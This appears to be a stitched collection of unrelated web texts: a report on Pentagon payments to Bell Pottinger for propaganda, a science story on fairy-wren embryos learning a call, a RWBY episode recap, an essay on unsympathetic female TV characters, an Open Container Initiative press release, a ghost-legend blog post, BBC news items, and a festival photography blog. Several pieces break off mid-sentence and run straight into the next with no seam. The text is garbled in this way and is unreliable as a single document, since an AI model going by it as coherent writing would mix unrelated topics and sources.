The Bureau's investigation identified transactions totaling $540 million between the Pentagon and Bell Pottinger for information operations and psychological operations on a series of contracts issued from May 2007 to December 2011. That said, the bulk of the money was used for production and distribution costs with Bell Pottinger pocketing about £15m a year in fees.
According to video editor Martin Wells, who worked on the project at Camp Victory in Iraq, the production materials from Bell Pottinger were signed off by very high-ranking U.S. military officials, including General Petraeus, and sometimes were even escalated to the White House for approval.
Bell Pottinger’s output was signed off by the commander of coalition forces in Iraq. Wells recalled: “We’d get the two colonels in to look at the things we’d done that day, they’d be fine with it, it would then go to General Petraeus.” Some of the projects went even higher up the chain of command. “If [Petraeus] couldn’t sign off on it, it would go on up the line to the White House, and it was signed off up there, and the answer would come back down the line.”
Seems that reality is even more interesting than any fiction that Hollywood can conjure up.NHPA/Photoshot
Mothers usually set about teaching their offspring the moment they're born. But the females of one Australian bird can't wait that long.
Superb fairy-wren (Malurus cyaneus) mothers sing to their unhatched eggs to teach the embryo inside a 'password' — a single unique note — which the nestlings must later incorporate into their begging calls if they want to get fed.
The trick allows fairy-wren parents to distinguish between their own offspring and those of the two cuckoo species that frequently invade their nests. The female birds also teach their mates the password.
Fairy-wrens were known to discriminate against cuckoo nestlings on the basis of their foreign begging calls1, says Sonia Kleindorfer, an animal behaviourist at Flinders University in Adelaide, who led the work. But it wasn't known that wren nestlings learned the passwords before hatching.
“It has never been shown before that there is actually learning in the embryo stages,” says Kleindorfer. The finding, published today in Current Biology2, has the potential to open up new lines of enquiry into prenatal learning in systems other than parasite-host relationships and in other animals — it could occur anywhere where it's a benefit, she adds.
Accidental discovery
The researchers stumbled across the embryonic learning quite by accident. They were recording inside the birds' domed nests in search of anti-predator calls when they noticed that female fairy-wrens were singing to their unhatched eggs.
Fairy wren incubation call Colombelli-Negrel et al., Current Biology You may need a more recent browser or to install the latest version of the Adobe Flash Plugin.
When Kleindorfer and her team analysed recordings made over the full nesting cycle, they found that the wren nestlings in a given nest all had the same begging call, which was unique to their nest. That call contained a signature element present in the call the mothers had made while incubating the eggs, and in the call she used to solicit food from the father. When the researchers broadcast a foreign nestling call at the nests, both the female and male adult birds refused to feed the chicks.
To test if the begging call was learned or genetic, Kleindorfer swapped around eggs across 22 nests. When the swapped eggs hatched, nestlings used the call taught by their foster mother, not their biological mother.
Although cuckoo eggs get incubated alongside the wren's eggs, it seems that cuckoo embryos don't have enough time to learn the password well. The lessons begin about 10 days after the eggs are laid, giving wren embryos around 5 days to pick up the call before hatching, but cuckoo embryos, which hatch earlier and then push out any other eggs, only get about 2 days. This means that victimized parents can escape having to feed an enormous baby bird that isn't their own, and can leave to start a new nest.
Clever cuckoos
Wren's aren't perfect at spotting cuckoos, though. They can always identify one species, but catch the other only around 40% of the time1. Kleindorfer says there is evidence that, in the latter species, the cuckoo nestlings attempt to guess the password by trying out different calls.
Martin Stevens, a behavioural ecologist at the University of Cambridge, UK, says that the study has implications beyond birds battling cuckoos. “It opens up the possibility that adults could communicate information to their young even before they have hatched,” he says.
Kleindorfer agrees. “There are many different scenarios where mother-to-egg communication would be useful,” she says, “for example to identify relatives or non-relatives.” It could also offer females an extra chance to favour certain cultural traits in the next generation. “It is a new perspective on the battle of the sexes,” says Kleindorfer.Blake Belladonna, by the end of this episode, probably: “At first I was afraid, I was petrified. Kept thinking I could never live, without you by my side. But then I spent so many nights, thinking about all those people you killed, and I grew strong, and forgot about you before long. And now you’re back, from the moon outer space; I just walked in to find you here, with that creepy look upon your masked face. I should’ve stopped you ages back, I should’ve drawn a line in the sand, if I had known for just one second, you’d be back to cut off Yang’s freakin’ hand.” That about sum it up? For more recaps with even less Gloria Gaynor song parodies, check out the RECAP MASTERPOST, but to witness many miracles from Bunny Jesus, click the KEEP READING below.
Something something to all those who read, laughed, liked, reblogged, shared, commented, absorbed via osmosis, snorted, sauteed with a side of mushrooms, took a magic carpet ride with, defeated seven evil exes for, suffered through Battle Before Dawn on Hector Hard Mode for, genetically spliced a fly’s DNA with tragic results into, went in on Aspen timeshare with, sacrificed yourself so that it could become the Recap-Who-Lived, or joined a cult whose goal is to hide all knowledge of last week’s recap so that it and the other Recap Old Ones will never wake from their eternal slumber. Whacky fun episode on our hands here, and so let’s not screw around and go play some golf.
We start about where we left off, with Kevlenn The Dragvern awoken from his centuries of slumber and starting his quest to go to White Castle.
Ruby watches him go by with no small amount of trepidation and probably a little bit of, “I call dibs on killing it” feeling, yet her plans are upset by the appearance of enemies. A Griffon Grimm to begin, and then what we can only assume is the product of a nuclear waste truck and an ice cream truck colliding with a small child crossing the street.
Neo transforms out of her soldier-y outfit in such a way Sailor Moon would be jealous of, and snaps a picture of Ruby in the process, to be sent to Roman…
Before that cage match can begin, let’s see how the Beauty And The Beast reboot is coming along.
Badly. All the fire and the screaming. Kinda the reunion we expected between Blake and Adam, sure, but we probably never expected Adam to be so… icky.
If we didn’t already feel something of a Creepy Creeper McCreepersteinberg vibe coming from Adam last week, it’s not helped any today, either. The repeated, possessive, language, pushing her about her running away, holding a random student’s life hostage if she doesn’t fight…
Normal third date stuff, really.
No further prompting needed; fight time. Blade against blade, From Shadows reprise in the score, et cetera.
We see right away that Adam has the advantage, and that’s probably ‘cause he’s been training while stuck on the moon.
The moon also made him cray cray. I mean, he was already a little crazy circa Black Trailer, but Blake’s prior reminiscing about him didn’t exactly paint this picture, the one obsessed with her and bestowing these pet names (Haha. Get it. Pet names. No wait, that’s something I shouldn’t joke about, just like laser pointers and tuna…). And while it’s probable to assume her leaving him combined with the forced partnership with Cinder kinda took what was already a bit of a terrorist-y mental break and warped it more, there’s also just the possibility that Blake couldn’t help but misremember and excuse things, so to say, in the common way people in abusive relationships do. Either or, Adam ain’t exactly winning any “Mr Nice Terrorist” competitions this episode, as we’ll see.
Though, if we’re being real, the Beast from Beauty And The Beast was kinda a dick too. And I’m not just saying that since Belle was the best Disney Princess… Speaking of, out in the courtyard, Snow White and her many dwarves are having some trouble with the Atlesian Paladins.
We got a nice epic tracking shot of the student body fighting Grimm and the rowbits that puts last week’s to shame, as well as a neato Ren and Nora moment, but it does little to defeat the Gal Paladins. They’ll need a… miracle.
Desperate, Coco realises it’s time, coach. Time to finally put Rudy in the game. And it’s time for Velvet to unleash THE INTERNET BOX.
“Chaos in the windy city!” Velvet steps up to face the two Paladins, and a classic from the V1 OST finally gets its non-credits debut. “I May Fall” has always been a favourite of folk, so I found it kinda hilarious to see a considerable amount of people acting like it was a new song. Guys, go buy the OSTs, they’re great! You’ll miss out on songs like that - and Boop! - if you don’t!
“You can’t eat bones, Mike!” After a volume of teasing it, Velvet’s weapon is finally revealed. She uses her camera to take pictures of other weapons, and then summons them and the fighting styles that go with - photographic memory holla. Maybe it’s Semblance-aided, but either way, she’s basically a mimic; Gogo be proud.
“Patricia.” And her fighting animation matches Monty’s initial RWBY trailers, which is a lovely shoutout. For a character originally planned to be a one-off, it’s been a hell of a journey for Velvet, and this being her weapon makes sense: she got a whole team and more screentime because fans latched onto her, is wearing an outfit designed by a fan, and now we learn she’s a fangirl of weapons, just like us, and uses what she wants whenever she wants. GG Velvet. But while she’s able to take down one Paladin, the other one has already had dibs called on it by Weiss.
She runs forward to throw herself into danger to save someone - just like she did for Yang against Flynt and Neon - and she’s fully prepared to take that hit. And she would’ve, had it not been for…
It’s not summoning the entire knight, but goddamn if it wasn’t awesome to see that sword cleave the Paladin in half. A heiress who fled from Atlas defeating Atlas’s best weapon by the power of her heart, pure as driven snow. The sacrificial play - and for a Faunus! Take that, Papa Schnee - the emotion, the music… all contributed to a damn fine payoff for Weiss’s arc this season, no denying it.
And hey, even summoning a hand is a pretty big deal. Think about it! Weiss could summon it every time she doles out a particularly sick burn so she has someone to high five with. And she totally would, let’s be real. Also, with that taken care of, let’s see how Ruby’s doing.
Speaking of awesome, how about this fight scene, huh? Gorgeous. We haven’t seen Ruby go off the chain like this for an age. And Neo and Torchwick’s teamwork is amazing.
After his V1 fight with Sun/Blake and then V2 fight with Blake, this also makes the hat-trick for bitchin’ Torchwick fight scenes (V2C4 was all the Paladin, so). GG.
Torchwick warms up a bit first with taunting Ruby’s heroics, and she pushes right goddamn back, demanding to know why he’s doing this.
After all, if these airships are destroyed, then there goes another line of defence against the Grimm. So why would Torchwick want this? Isn’t his nature to steal from people, not see them all die? Isn’t he the ruler of the rats, not the ruins?
The whole thing, it turns out, is not about what he could gain, but it’s that he can’t afford to lose.
Which gives something of an idea for his motivation to work with Cinder; he may have more in common with Adam than we thought. Although, he’s less icky than Adam somehow, which is strange to say about a character based off Alex freaking DeLarge.
So anyway, the tide does not turn in Ruby’s favour. She’s left hanging off the side of the airship -
- kicking at Grimm coming close and listening to Torchwick monologue about the futility of his situation. He’s a gambling man, Kenny Rogers style, but he sees the storm coming, so he buys in on storm-proofing himself.
You can’t fight someone like Cinder, is what it amounts to. She’s working with the goddamn Grimm in some capacity, she’s got magic powers up the wazoo, she’s really really hot, and, hell, look at what she’s accomplished with her grand phase two finale! She’s lit a fire and then turned it into a volcano, spewing so much lava the entire world is threatening to burn. And you know the old saying, “If you can’t beat 'em, join 'em. Then you have Neo kill people. Like you, Ruby!” However, Ruby ain’t taking this lying down. Not after Penny.
She’s a scrapper, that Ruby, and manages to send Neo flying into same nebulous unknown state Port and Oobleck are hanging out in - shame that Everyone Is Neo isn’t someone not currently about to be eaten by Grimm, huh - then jump up, declare her intent to stop the bad guys - “BET ON THAT.” Chills from Lindsay Jones - and prepare to take on Torchwick unarmed.
Torchwick, for his part? Kinda upset. The emotion in his voice when Neo went flying was one of the most honest outbursts we’ve seen from him ever, and his anger gets him to the mopping the floor with Ruby part rurl quick.
But hey, even if he used it to blow up Ruby’s internal organs like that, at least we got a lot of Stevey Mk III action at all…
Furious, Torchwick saunters forward -
- and rants about the real world being harsh and cruel and filled with way too many great TV Shows to keep track of -
- and begins beating Ruby with his cane. Just straight up wailing on her.
Melodic Cudgel gets to live up to the latter part of its name, holy crap. It says something about the series’s current tone compared to Volume One that we’re now at a point of having a comic relief villain bludgeon a fifteen year old girl while ranting about the futility of being a hero…
And this here is Roman Torchwick at his core. The man who’s seen things, done things, existed at the same time as things. Bad things, good things, just things, the kind that take someone who could’ve been once upon a time just like Ruby for all we know, and then those things whittle that idealistic block of wood down and down until its a twisted and warped shapeless mass of hatred that gives splinters to everything it touches. It infects, insidious and irreparable, these pervasive thoughts, that being the good guy isn’t the way, and that’s how a bad guy is born. But then, when faced with a void, a nothingness, an extinction, soon not even being a bad guy is the way. The only guy who makes it out of Cinder Fall’s future alive is opportunism personified. A liar, a thief, a cheater, a survivor…
Cynicism like that? No wonder that Griffon Grimm dropped in to make Torchwick go the way of Samuel L. Jackson in Deep Blue Sea.
Early Griffon catches the rat, as it turns out. With nary a gulp, Torchwick is gone. Wellllllllllllllp.
Look, as fun as that guy is, if he’s dead, I totally get it. If he’d survive this, then he’ll follow the pattern of Ironwood, Port ‘n Oobleck (c’mon) and, let’s be real, Penny, which may be lacking in impact by then. Combined with the feeling that the villains gotta lose something in order to make things feel even, this might be a done deal death. Besides, this method of dispatching feels particularly Miles-ish (One of the RVB13 deaths come to mind), and showing the initial character design concepts for him in the credits could be a throwback little memorial thing-y. Yes, we could be setting up for a hilarious post-credit scene in the vein of Hannibal Chau, cutting his way out of the Griffon’s belly - another flawless escape! Doing so may work as a shoutout to both Pinocchio and to Red Riding Hood, so that’s a bonus, sure. Or hey, maybe there’ll be enough people wanting that not to be his end that he shows up again in Volume Four/Five/Twelve. Maybe, maybe not, no big deal.
You can’t deny that, if he’s going out now, he went out swinging. A badass fight scene, revealing a bit of depth and motivation, having an honest emotional outburst when he saw Neo get umbrella’d away, and at peak villainy - what with destroying two ships, facilitating the robot takeover and then beating a fifteen year old girl with your cane and all. If Torchwick comes out of it, then hey, maybe he’ll change in some way. If he doesn’t, then hey, maybe Neo will change in some way. Plenty of story opportunity either way. But if not? For at least this recap we’ll make like a surgeon willing to risk a lawsuit and call it, if only for the requisite gravestone joke:
And hey, you can’t say it wasn’t pretty damn fitting. Ruby’s there, for one thing, which feels like a nice full circle to their back and forth. And the speech about surviving being undercut without fanfare by the storm he helped bring in order to survive in the first place… It works, and not just for his arc. Grimm are beings of hatred and negativity, so the natural defence against them isn’t just guns and swords, it’s optimism and positive belief, which is what Ruby Rose is, all the way through. Even when being beaten by Torchwick and told that the real world isn’t for heroes, you can bet all the Dust in Atlas that Ruby’s resolve didn’t waver. It has before, and it will again, but that’s so intrinsically her to oppose all those things Torchwick said, and that she wasn’t eaten by the Griffon first by sheer force of positive will tells us that while it’s always darkest before the dawn, Ruby is that rising sun. And that sun is going to be what saves the world one day. Bet on that. Also bet on that when Blake hears the news Torchwick’s (maybe) dead, she’ll throw a party!
Hooray! So anyway, Ruby doesn’t stop to give Torchwick a twenty-one scythe-gun salute, just use her scrappy momentum to kick the Griffon into the ship’s hull. Solar power, son.
She bails from the exploding ship - and let’s not use the explode-y-ness as an argument against Torchwick possibly surviving, given what we’re about to see with Ironwood - pogo sticks with Crescent Rose to the ground, and heads off for the next fight.
Across the city, we find Qrow and Glynda in the thick of it, fighting Grimm and robots, and they’re also joined by:
Almost nice to see the guy, who knew. Yes, Cardin - last seen, what, getting his ass handed to him by P-Money? - hasn’t run away from the battle in a fashion Zacharias Smith would be proud of, and is fighting to the end.
Almost gets cornered and killed for it, too, were it not for the intervention of a mysterious figure walking out of the fog… Could it be?!
Hells to the yeah. As hoped, Ironwood has survived his crash, relatively unscathed save for his clothes - but that gives him an additional hundred points of John McClane-y manly badassness, so. Also helping is the casual kicking of every robot’s shiny metal ass in the vicinity, both his revolver and his hips-a-flarin’.
Oh, and turns out he doesn’t just have a robot arm and eyebrow. It’s an arm, a leg, probably a penis, half a chest… Let’s just say that it’s no wonder he became a general with a fleet of airships, since going through airport security must suuuuuuck.
Surprisingly, Qrow’s reaction to seeing the Tin Man here alive isn’t to ask where Dorothy and the Scarecrow are at, but to instead draw his weapon. All of his weapon.
Look at that handle, jeez, overcompensating much. Still, it’s a pretty damn sexy design, and seeing it fully scythe-y is another payoff for something set up earlier this season, and, similarly, the little spat they’ve been having all season about Ironwood’s actions makes Ironwood think that Qrow is attacking him. Oh Ironwood, you so silly.
Yes, Qrow was stabbing the scorpion by slicing a Griffon in half - the fun way, not the lame way - and he knows the robots going wild wasn’t James’s fault. The UncleWood ship lives on, everyone hop aboard, they’re going to save the day.
The General’s plan is to evacuate Beacon before Glennvin eats everyone while Ironwood gets his ship. Yeah, about that second thing…
With the ship down, so to go the robots, which also helps to defuse the last stand situation going on back at Beacon:
While Weiss recovers from her exhaustion, Yang arrives - no Zwei in sight; R.I.P. Zwei - to ask after Ruby and Blake. Ruby’s MIA, while Blake…
Yang runs off to live out a scenario we’ve seen in fanfics for years, |
SHE EATS ALL OF THE ICE CREAM, is not that way.
It’s not that Betty is unsympathetic. It’s that, at least in this week’s episode, the show isn’t trying to make the ugliness of her personality interesting as anything other than a punchline. “Unsympathetic” does not have to mean — shouldn’t mean — “unworthy of your time.” Sympathy and empathy are not the same thing. The great thing about ugly characters is that they push you to broaden the limits of your identification.
For evidence, I present: Don Draper. He’s a fraud and a philanderer. Last season, he was also a drunk. He habitually gaslighted his first wife, and he’s already starting to treat his second wife badly — going sullen and cold and insulting because she threw him a party, of all things. As a father, he’s distant, unreliable, and mostly absent. He is, as one wise and freshly-banged secretary pointed out, “not a good person.” But the show can hold a space for this complexity — make him compellingly wounded, and brilliant, and charismatic, and human, and even capable of deep and genuine love — rather than flattening him into some caricature of a shitheel. This show has a protagonist who spent its first three seasons psychologically destroying his wife, and we still love him. That used to be the sort of uncomfortable proposition the show excelled at making.
Except that now, we’re seemingly supposed to hate his ex-wife so thoroughly that we don’t even need to see her as human. Which makes Don far less interesting. If you flatten Betty into a pure villain, and make her an object of unmitigated contempt, then Don becomes just some guy who screwed up while dealing with an impossibly awful woman. Really, the show is saying, if you think about it, wasn’t she asking for it? What would you do, in his place?
Which brings me to Vera. If there’s one thing I hated about Downton Abbey, it was Vera. It wasn’t because I disliked Vera’s personality. It was because Vera didn’t actually have a personality; for the most part, she was just some vague woman-shaped ball of malice, with no inner life or personal history that did not revolve around destroying her ex-husband.
This wasn’t just boring. It made her ex-husband, Bates, boring. Bates could have been a great character. He was an an ex-alcoholic who’d done jail time and had a weird habit of disappearing for weeks at a time over minor bullshit related to His Honor. (Bates, let us acknowledge right now, is basically a Klingon.) He was also a stand-up guy who had to deal with discrimination in the workplace. That could have been a fantastic take on redemption. But the show couldn’t follow through; it couldn’t make Bates a fuck-up and a hero. Instead, it insisted that Bates was a saint, and that all of his problems were related to his ex-wife being pure evil.
Every time Vera came on-screen, I wanted to punch a Downton Abbey writer. Like, yes, yes, this is how ex-wives of ex-drunks totally are, dudes! They’re harpies bent on revenge who will never let their men be happy, ever ever ever, and they hound their men and torment them and just want all their money, and also want to steal their exes’ genitals and keep them in a box somewhere, and those men are TRYING to get Saved By The Love Of A Good Woman but those bitches WON’T LET THEM, and sometimes they try to get their ex-husbands to hit them so that they can, like, pretend to have been abused and shit, and do you know why their ex-husbands had to go to jail in the first place? THOSE BITCHES, they did it, EVERYTHING IS ALL THEIR FAULT. And also if those women kill themselves it’s out of revenge. Because that’s plausible. Don’t be sad! They totally just did it to frame their exes for murder! That is a thing, that happens, that human beings could or would conceivably have any fucking reason to do!
Ugh. I mean: You may like the Vera story. It was campy and soapy and all of the fun things that I normally like about Downton Abbey. But it wasn’t just that Vera hated Bates. It was that she explicitly hated him for no goddamned reason whatsoever. Nothing about her behavior made any sense, if Bates had always been a nice guy. She might as well have killed herself to take revenge on her wallpaper. And despite my love of a well-executed female villain, I just couldn’t stop thinking about how great the show might have become if Vera had showed up, and had actually been totally nice. If Bates — lovable, stand-up dude Bates — had actually treated her badly, and was re-inventing his life, but had this one woman hanging around asking him to be accountable to who he once was. Some part of his past that couldn’t be erased. How would that have problematized the currently boring-as-hell relationship between Bates and Anna? (“My wife’s a bitch.” “I know!” “I’m going to destroy myself, For Honor.” “Please don’t!” — Every Conversation Between Bates And Anna, Ever.) How would that have made his bizarre Klingon Honor routine more understandable? What if Bates was obsessive about personal morality precisely because he was actually capable of being a terrible person? That’s an idea that Downton Abbey flirted with, once, and it was a good one. But then it decided to make Vera a bitchmonster from Planet Blackmail, and all of that went away. Bates was actually a stand-up dude all along. He just had a terrible wife, and is Klingon. Problem solved.
These stories don’t exist in a void. They actually mimic — and reinforce — the stories we tell ourselves about male accountability in the real world. Men have more of an assumed right to recover from and forget their mistakes; this is true for things like abuse and unintended pregnancy, obviously, but it’s also true for the basic, petty moral failings of day-to-day life. The result is these tales of men who just so happen to have married women who have subsequently sworn eternal vows of rat-poison-swallowing revenge, for no apparent reason whatsoever. And the result is also angry women who can’t express or deal with their anger appropriately, because they feel guilty about having it in the first place.
Yes, Betty is an asshole. And I like that about her character. But the truth we keep avoiding, about assholes — male and female — is that they usually don’t get to be that way because they’re happy and fulfilled and have always been treated well. Usually, assholes have their reasons for believing that they won’t benefit from acting nicely. Unhappiness and unfairness don’t make people more noble. Typically, they just make them angry. And angry people tend to be jerks.
Which is the other reason I love unsympathetic female characters. I don’t endorse being a shitty person, obviously. But there have been plenty of times, in my life, when I found myself to be unsympathetic — angry, or bitter, or self-pitying, or just worn raw. And I suspect this is the case for many women; we get caught between pain, and guilt for feeling that pain, until we become unable to take care of ourselves, or accept ourselves. One thing that I think women need, even more than they need strong role models, is realistic representations of female unhappiness. Pictures that include ugliness, and don’t shy away from it. That keeps us from isolating ourselves, shaming ourselves; it keeps us from becoming Betties, choking our anger so far down that we can’t even name it, and find it leaking out all over, or fermenting into pure poison. Sympathy isn’t empathy. But a good female villain can, ultimately, make you feel both. Both for her and, maybe, for your own worst self.
Or, you know, you could just put her in a fat suit and have her prance around stealing people’s ice cream. That works, too.SAN FRANCISCO – December 8, 2015 – The Open Container Initiative (OCI), represented by a broad coalition of industry leaders focused on common standards for software containers, is today announcing its formalized technical governance structure to advance its mission while welcoming founding and new members.
The intent to form the OCI was announced earlier this year with the goal to host an open source, technical community and build a vendor-neutral, portable and open specification and runtime for container-based solutions. The OCI is a Linux Foundation Collaborative Project. Founding members, including nine new companies committed to the OCI include: Amazon Web Services, Apcera, Apprenda, AT&T, ClusterHQ, Cisco, CoreOS, Datera, Dell, Docker, EMC, Fujitsu Limited, Goldman Sachs, Google, Hewlett Packard Enterprise, Huawei, IBM, Infoblox, Intel, Joyent, Kismatic, Kyup, Mesosphere, Microsoft, Midokura, Nutanix, Odin, Oracle, Pivotal, Polyverse, Portworx, Rancher Labs, Red Hat, Resin.io, Scalock, Sysdig, SUSE, Twistlock, Twitter, Univa, Verizon Wireless, VMware and Weaveworks.
The OCI follows an open governance model that guides the project’s technical roadmap, currently available on GitHub. Under this model, any developer or end user can make contributions to the OCI. A Technical Developer Community (TDC) has been formed for the project and includes independent maintainers as well as maintainers from founding members including Docker, CoreOS, Google and Huawei. The TDC is responsible for maintaining the project and handling the releases of both the runtime and specification. A Technical Oversight Board (TOB) will be appointed by the members of the OCI and the TDC. The TOB will work closely with the TDC to ensure cross-project consistencies and workflows. The governance model also includes a Trademark Board to oversee the development and use of the OCI’s trademarks and certifications.
As part of the original formation of the OCI in June of this year, Docker has donated both a draft specification for the base format and runtime and the code associated with a reference implementation of that specification. Since the OCI’s inception, there have been two releases of the specification and six releases of runc. Docker will be integrating the latest version of runc into future releases of Docker and Cloud Foundry has implemented runc as part of its Garden project.
Today’s enterprises demand portable, agile and interoperable developer and sysadmin tools. Container technologies give developers and users the ability to fully commit to container technologies without worrying their current choice of infrastructure, cloud provider or DevOps tool will create technology lock-in. Instead, choices can be guided by best-of-breed tools for building and managing business-critical applications. Containers also provide a complementary solution to virtualization technologies, providing a new level of customizability and scalability for IT operations. The OCI community’s work enables users and companies to innovate and develop with confidence, reducing fragmentation or interoperability issues.
Members of the OCI will collaborate to ensure the technical work aligns with the following values:
Composable : all tools for downloading, installing and running containers should be well integrated but independent.
Portable : the runtime standard should be usable across different hardware, operating systems and cloud environments.
Secure : isolation should be pluggable, and the cryptographic primitives for strong trust, image auditing and application identity should be solid.
Decentralized : discovery of container images should be simple and facilitate a federated namespace and distributed retrieval.
Open : the format and runtime will be well specified and developed by a community to ensure code development drives specification development.
Minimalist : The OCI Specifications aim for simplicity, to ensure stability, optimize innovation and encourage experimentation.
Backward compatible: OCI Specifications and OCI Projects strive to be as backward compatible as possible with prior releases.
“Collaborative development continues to prove its ability to transform markets and advance emerging technologies. The OCI is a welcome addition to The Linux Foundation Collaborative Project ecosystem,” said Jim Zemlin, executive director, The Linux Foundation. “This level of industry support illustrates the prevalence of container technologies across IT infrastructures, much in the way we saw with virtualization 10 years ago. I’m very excited to support the work of this community.”
For more information, visit: https://www.opencontainers.org//
The Open Container Initiative is a Linux Foundation Collaborative Project. Founded in 2000, The Linux Foundation today provides tools, training and events to scale any open source project, which together deliver an economic impact not achievable by any one company. More information can be found at www.linuxfoundation.org.
About the Open Container Initiative (OCI)
The Open Container Initiative is an open governance structure for the express purpose of creating open industry standards around container formats and runtime. Projects associated to the Open Container Initiative can be found at https://github.com/opencontainers. Contact the project maintainers on IRC at #opencontainers. Contact the Linux Foundation about the OCI at info@opencontainers.org.
# # #
The Linux Foundation and Linux Standard Base are trademarks of The Linux Foundation. Linux is a trademark of Linus Torvalds.Every town across the world has some sort of creepy local haunt. Down here in South Louisiana, we definitely have our fair share. The legend of Mary Jane's Bridge is one I've been hearing about forever. I've haven't actually been there yet, but being that it's almost Halloween, I should probably head on out to Broussard to see what happens. This isn't just a local legend however. I did some digging around on the internet to see what I could find about it, and actually found quite a bit!
The legend says a young girl, presumably named Mary Jane, and her prom date arrived at the bridge to hold hands, and he rapes her and then murders her, throwing her over the bridge. Her body was never found, and apparently, no one was ever caught or prosecuted for the rape or murder. Local legend has it that apparitions of a woman in white appear at the bridge from time to time.
Here's what I found on hauntin.gs about Mary Jane's Bridge...Image copyright David Walton/Emirates Image caption A large area of the tower will be turned red as part of the £3.5m deal between Emirates and Portsmouth City Council
Portsmouth City Council has promised to review plans to paint a city landmark red and white.
It announced on Friday that airline Emirates would sponsor the Spinnaker Tower in a £3.5m deal.
Over the weekend, nearly 10,000 people signed an online petition against plans to repaint the tower, which is currently white.
Red and white are the colours of nearby Southampton's football club, Portsmouth's major rivals.
Council leader Donna Jones said she had been "extremely worried and concerned" about the strong public response against the plans.
She said: "I am passionate about this city. I was born here and have lived here all my life... Likewise I love Portsmouth Football Club, the Royal Navy and our heritage. I fully understand people's feelings about blue being the city's colour and the city emblem.
"I am pleased to advise that, after working with Emirates over the weekend, and having spoken to Mark Catlin, chief executive of Portsmouth FC, and other key stakeholders, we are working up a new design for the tower. The design will reflect the city's heritage."
Image copyright Spinnaker Tower Image caption The 560ft (170m) tower which opened in 2005 will be renamed the Emirates Spinnaker Tower
The tower is due to be renamed the Emirates Spinnaker Tower. The revised design will be made public in the next few days.
The branding is due to be in place in time for the America's Cup World Series sailing event in July and will remain in place for five years.
The petition against the changes said: "To allow the colours of Southampton to stand tall on one of our city's most prominent landmarks shows an incredible lack of empathy for the residents. It must be stopped."
Paul Andrews, who describes himself as a Southampton FC supporter on his profile, wrote on Twitter: "All it needs now is the #SaintsFC badge at the top."
The colours of Portsmouth Football Club are blue and white.
The 560ft (170m) tower opened in 2005. It is owned by the council but run by a private company.Image caption Blackman was told he will serve at least 10 years in jail
Royal Marine Sergeant Alexander Blackman has been sentenced to life by a court martial for murdering an insurgent in Afghanistan.
Blackman, 39, from Taunton, Somerset, has been told he will spend at least 10 years in prison.
It comes after one of the UK's highest-ranking Royal Marines pledged his "full support" for Blackman, saying he had been "tainted" by the "impact of war".
The Ministry of Defence said it respected the court's decision.
Analysis In the words of his commanding officer, Sgt Al Blackman, the man until recently known just as Marine A, had a proud career and promising future. That was until a momentary and fatal lapse of judgement that not only prematurely ended the life of the injured Afghan fighter he shot, but also altered his own forever. His commanding officer said that Blackman was not a bad man, but a "normal citizen" tainted by the impact of war. But while the Judge Advocate General said there were mitigating circumstances to this unusual case, Blackman had treated the injured Afghan with contempt and murdered him in cold blood. He said his reaction to the murder caught on tape was chilling. The sentence passed was always going to be controversial - this was a murder carried out by a man who was serving his country in a war with a ruthless enemy. But those who criticise must also reflect that the sentence was approved by a group of Blackman's peers - those in uniform who've also experienced combat. In the words of Judge Blackett, it's their reputation too that's been tarnished. While there will be sympathy, there's also anger.
On Thursday, three judges at the High Court lifted an anonymity order allowing Blackman to be named.
Lt Col Simon Chapman, in a letter read to the judge and board at the court martial in Bulford, Wiltshire, described how Blackman's promising career had been shattered in a "momentary" lapse of judgement.
The Ministry of Defence, in a statement, said: "Throughout this case the Ministry of Defence has followed the independent legal process and a sentence has now been delivered.
"We respect the authority and decision of the court and it would be inappropriate of us to comment on the sentence."
The trial - during which Blackman was referred to as Marine A - was the first time a member of the British armed forces had faced a murder charge in relation to the conflict in Afghanistan, which began in 2001.
Two other marines were cleared.
'Lives at risk'
The murder took place after a patrol base in Helmand came under attack from small-arms fire from two insurgents.
One of them was seriously injured by gunfire from an Apache helicopter sent to provide air support, and the marines found him in a field.
He had so much to behold - a proud career and a promising future. Sadly, this is no longer the case Officer's letter defends marine
The incident was inadvertently filmed by one of the cleared marines - known as Marine B - on his helmet-mounted camera. That footage, taken on 15 September 2011, was shown to the court during the two-week trial.
It showed Blackman shooting the Afghan prisoner with a 9mm pistol.
Sentencing Blackman, Judge Advocate General Jeff Blackett told him he had disgraced the name of the British armed services and had put troops' lives at risk by his actions.
"This was not an action taken in the heat of battle or immediately after you had been engaged in a firefight," he said.
"Nor were you under any immediate threat - the video footage shows that you were in complete control of yourself, standing around for several minutes and not apparently worried that you might be at risk of attack by other insurgents."
Blackman was told that when he is released from prison by the Parole Board he could be recalled if he breached the terms of that licence.
In fixing the minimum term of imprisonment, the judge said the court took into account the effect of the arduous six-month tour upon Blackman.
Media playback is unsupported on your device Media caption Extract from helmet camera audio recording of incident in Helmand
"This was your sixth operational tour and your second to Afghanistan in under 14 years of service," the judge said.
"We accept that you were affected by the constant pressure, ever present danger and fear of death or serious injury.
"This was enhanced by the reduction of available men in your command post so that you had to undertake more patrols yourself and place yourself and your men in danger more often.
"We also accept the psychiatric evidence presented today that when you killed the insurgent it was likely that you were suffering to some degree from combat stress disorder.
"While we acknowledge your personal circumstances and the immense pressure you were under, we note that thousands of other service personnel have experienced the same or similar stresses.
"They exercised self-discipline and acted properly and humanely; you did not."2016_1029_OhioRenFest
A few months ago my good friend Jessica contacted me and discussed the idea of me coming to the Ohio Renaissance Festival with her group to get pictures of their D&D characters (which they made costumes of) with the castles and people and overall feel of the festival. I had done this last year with Brittani Ginoza as her female Captain Hook and it turned out awesome! That time I went solo, but this time I was able to bring my wife along. I had only been to one Renaissance festival the previous year, and she had never been so we were both pretty excited about the opportunity.
We made it to the grounds without incident and got to look around a bit while the rest of our party got there and grouped up. I will say the bathrooms this year were greatly improved over last year (the wife was impressed!). Silly side not (BUT IMPORTANT!). We purchased a flower wreathe for her at one of the vendors, got the group together and started to wander around, keeping an eye out for cool spots to shoot later on in the day when the sun wasn't directly overhead (HORRIBLE lighting to shoot in). We looked at quite a few of the shops, bought some food (dear lord the turkey legs are everything I thought they'd be!) and found a cool spot to start snapping pics that was in the shade and out of the way.
